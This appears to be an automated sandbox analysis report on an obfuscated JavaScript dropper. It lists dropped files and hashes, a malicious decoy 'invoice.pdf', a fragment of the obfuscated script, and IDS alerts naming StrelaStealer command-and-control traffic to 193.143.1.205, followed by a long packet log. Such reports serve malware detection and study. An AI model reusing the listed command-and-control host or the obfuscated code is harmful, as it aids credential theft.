SHA-256:	90C5CD901539B52EB3329D24EFA4D0F230B4D14E0D89FF57FB1D66E9C64689A8
SHA-512:	49425B2D3833194F5956DF7AF843A03E4229ED616D5A021959DEC3E3E9B1123481C380A374B81A30F4EDA3905E4CF6B6EFF8B8789AC42A53E9ED772C56269B64
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\85632a71-01cb-450c-9d2e-22dfc69a791f.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:/M7oMOWLaGZ4ZwYIGNP8dpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:RVWLaGZ4ZwZGm3mlind9i4ufFXpAXkru
MD5:	E787F9888A1628BE8234F19E8EE26D68
SHA1:	44D5180C06ADBBDAADDBCE350CE4DEC997CD83E5
SHA-256:	3A09F3799148DA49F039A35AEDD22F368FB35B8D6022C4691C10606F704DAF80
SHA-512:	EE9B602898706CC0F33AA570E29A79A58ED748E1B738D74DF0C8C8DF193E23421B47AC8C862623ED774289D94FA90662A4CC436B80479D6420433D81752E9CA9
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\a0e8efef-3a3c-4026-9e16-e53ff1d7dbe6.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\invoice.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	635764
Entropy (8bit):	7.929592005409041
Encrypted:	false
SSDEEP:	12288:+ZLfaHa9wphzjERQ/JTckor+EURE+AwAX75pfGJKsKca+e7lEjYQ:+ZyjgQRRor+lRJAwAXlpoKgQ76jYQ
MD5:	91A2AF9E2A61ABF7D9977999FBF9879E
SHA1:	F6E4FA02DD15B27F74553FB1B220A4D2DF385267
SHA-256:	FC3518D746CDB3738DA976551795B9727619F41F89AC0641533126E2F69B969A
SHA-512:	8B27CC0E0E902ABB59735FF4FC67789C0F0F9A1BF3F619A7AFAEAAA13A9AFCF9C82F25596719A65EC15221EBAE16EF9701CDB48F372BBF1BE08CB568DBE41D7C
Malicious:	true
Preview:	%PDF-1.7.%.....1 0 obj.<< /Pages 3 0 R /Type /Catalog >>.endobj.2 0 obj.<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>.stream.x.3V0.Q.w./.+Q0T...L)V.V0Q0P.R.U...,HU..HLO-V.....%0.mendstream.endobj.4 0 obj.<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>.endobj.5 0 obj.<< /Filter /FlateDecode /Length 75 >>.stream.x.3T0.B]C aab.gi....U.e...E........\ E..&@yC.:.l.B.W.B!P9D..~...K>W ...&...endstream.endobj.6 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>.endobj.7 0 obj.<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>.stream.x.+..T(..O/6PH/.*.2.4.4S0.B]......H...O..S.04Tp....B.....endstream.endobj.8 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>.endobj.9 0 obj.<< /BitsPerCo

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with very long lines (19272), with CRLF line terminators
Entropy (8bit):	4.917578844956191
TrID:
File name:	467631239147784826.js
File size:	22'872 bytes
MD5:	86a0950828566193b20f1d3d9412aea0
SHA1:	3947c7319bf8697e0a9ebfbbda25306e829efb70
SHA256:	e365a11b0bd26ad7871c49c34d4573aa592b7fbe62691a5f4e01b3a7ae9a3f8c
SHA512:	3b24d6beb9fc98d4f82e422afb360053b9346ae5f6ddb947467ad94dfccf7a0bce0caa6fb2b7f224d01e6036c47f0981d96671d4b56d0a29a83863cf993075a6
SSDEEP:	384:cBvkOvYtCcoawbv6ZQ262bGadexPseMQowkm5R:uvkOg+biZh62qaUxPhooH
TLSH:	42A2765C44C9E727CCD514F0562F01A3AEBA044C55358BE694B73CA8AE0EBA5B1FB1BC
File Content Preview:	function rcaryn(){fgkpup=[1031,3079,5127,4103,2055,3072];var iacven=this[oixqombl+umcloi+zjfptfdfr+zbzccu+kbildkl+izawwmnkp+spnoszalh+pfweg](this[qwjxl+jhichhkxv+ithzlgbdn+zjfptfdfr+gkrylkki+oixqombl+pfweg][gksnm+zjfptfdfr+kbildkl+umcloi+pfweg+kbildkl+yvq

File Icon


Icon Hash:	68d69b8bb6aa9a86

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-11T04:48:29.928658+0100	1810000	Joe Security ANOMALY Windows PowerShell HTTP activity	2	192.168.2.5	49704	193.143.1.205	80	TCP
2025-01-11T04:48:29.928658+0100	2859560	ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET)	1	192.168.2.5	49704	193.143.1.205	80	TCP
2025-01-11T04:48:32.558684+0100	1810005	Joe Security ANOMALY Microsoft Office WebDAV Discovery	1	192.168.2.5	49705	193.143.1.205	8888	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 11, 2025 04:48:29.083328009 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:48:29.088814974 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:29.088907003 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:48:29.091595888 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:48:29.096348047 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:29.928597927 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:29.928612947 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:29.928622961 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:29.928658009 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:48:29.928725958 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:29.928736925 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:29.928746939 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:29.928769112 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:48:29.928781033 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:48:29.928850889 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:29.928860903 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:29.928870916 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:29.928880930 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:29.928900003 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:48:29.928932905 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:48:29.933440924 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:29.980572939 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:48:29.988996029 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:29.989012957 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:29.989025116 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:29.989089012 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:48:30.053447008 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.053467035 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.053478956 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.053566933 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:48:30.053704023 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.053714991 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.053747892 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:48:30.053755999 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.053817987 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:48:30.053917885 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.054122925 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.054135084 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.054146051 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.054158926 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.054163933 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:48:30.054172993 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.054195881 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:48:30.054212093 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:48:30.055105925 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.055119038 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.055160046 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:48:30.055288076 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.055299044 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.055310011 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.055334091 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:48:30.055335045 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.055377007 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:48:30.055425882 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.065546036 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.065562963 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.065573931 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.065586090 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.065602064 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:48:30.065644026 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:48:30.081479073 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.081536055 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.081551075 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:48:30.081574917 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.081628084 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:48:30.158524036 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.158557892 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.158596992 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.158633947 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.158736944 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:48:30.159476042 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:48:30.175851107 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.176018000 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.176054955 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.176080942 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:48:30.176156044 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.176189899 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.176213026 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:48:30.176223993 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.176260948 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.176270008 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:48:30.176295996 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.176332951 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.176343918 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:48:30.176934958 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.176970005 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.176995039 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:48:30.177242041 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.177292109 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:48:30.177293062 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.177326918 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.177359104 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.177372932 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:48:30.177402973 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.177445889 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:48:30.177922964 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.177975893 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.178010941 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.178025961 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:48:30.178050995 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.178062916 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.178092957 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:48:30.178101063 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.178153038 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:48:30.178910017 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.178944111 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.178978920 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.178992987 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:48:30.179016113 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.179050922 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.179066896 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:48:30.179085970 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.179135084 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:48:30.179781914 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.179835081 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.179884911 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:48:30.179884911 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.179919004 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.179958105 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.179976940 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:48:30.179994106 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.180037975 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:48:30.180661917 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.180725098 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.180775881 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.180779934 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:48:30.180811882 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.180845976 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.180855989 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:48:30.180886984 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.180941105 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:48:30.181628942 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.181641102 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.181653023 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.181663990 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.181684017 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:48:30.181710005 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:48:30.250695944 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.282464981 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.282470942 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.282476902 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.282496929 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.282510042 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.282552004 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:48:30.282593012 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:48:30.299635887 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.299662113 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.299671888 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.299709082 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.299712896 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:48:30.299720049 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.299741983 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.299745083 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.299757957 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:48:30.299834967 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:48:30.299922943 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.299932957 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.299961090 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:48:30.300040007 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.300050020 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.300060987 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.300072908 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:48:30.300107002 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:48:30.300250053 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.300261974 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.300271988 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.300309896 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:48:30.300347090 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.300357103 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.300365925 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.300383091 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:48:30.300409079 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:48:30.300854921 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.300870895 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.300889969 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.300905943 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.300914049 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:48:30.300915956 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.300925970 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.300936937 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.300945997 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.300952911 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:48:30.300956964 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.300967932 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.300973892 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:48:30.300978899 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.300987005 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:48:30.301009893 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:48:30.301712036 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.301757097 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:48:30.301769018 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.301847935 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.301898956 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.301908016 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:48:30.301938057 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.301970959 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.301989079 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:48:30.302009106 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.302041054 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.302054882 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:48:30.302074909 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.302108049 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.302119970 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:48:30.302143097 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.302190065 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:48:30.302649021 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.302707911 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.302742958 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.302752972 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:48:30.302798033 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.302834034 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:48:30.302844048 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:48:30.302867889 CET	80	49704	193.143.1.205	192.168.2.5
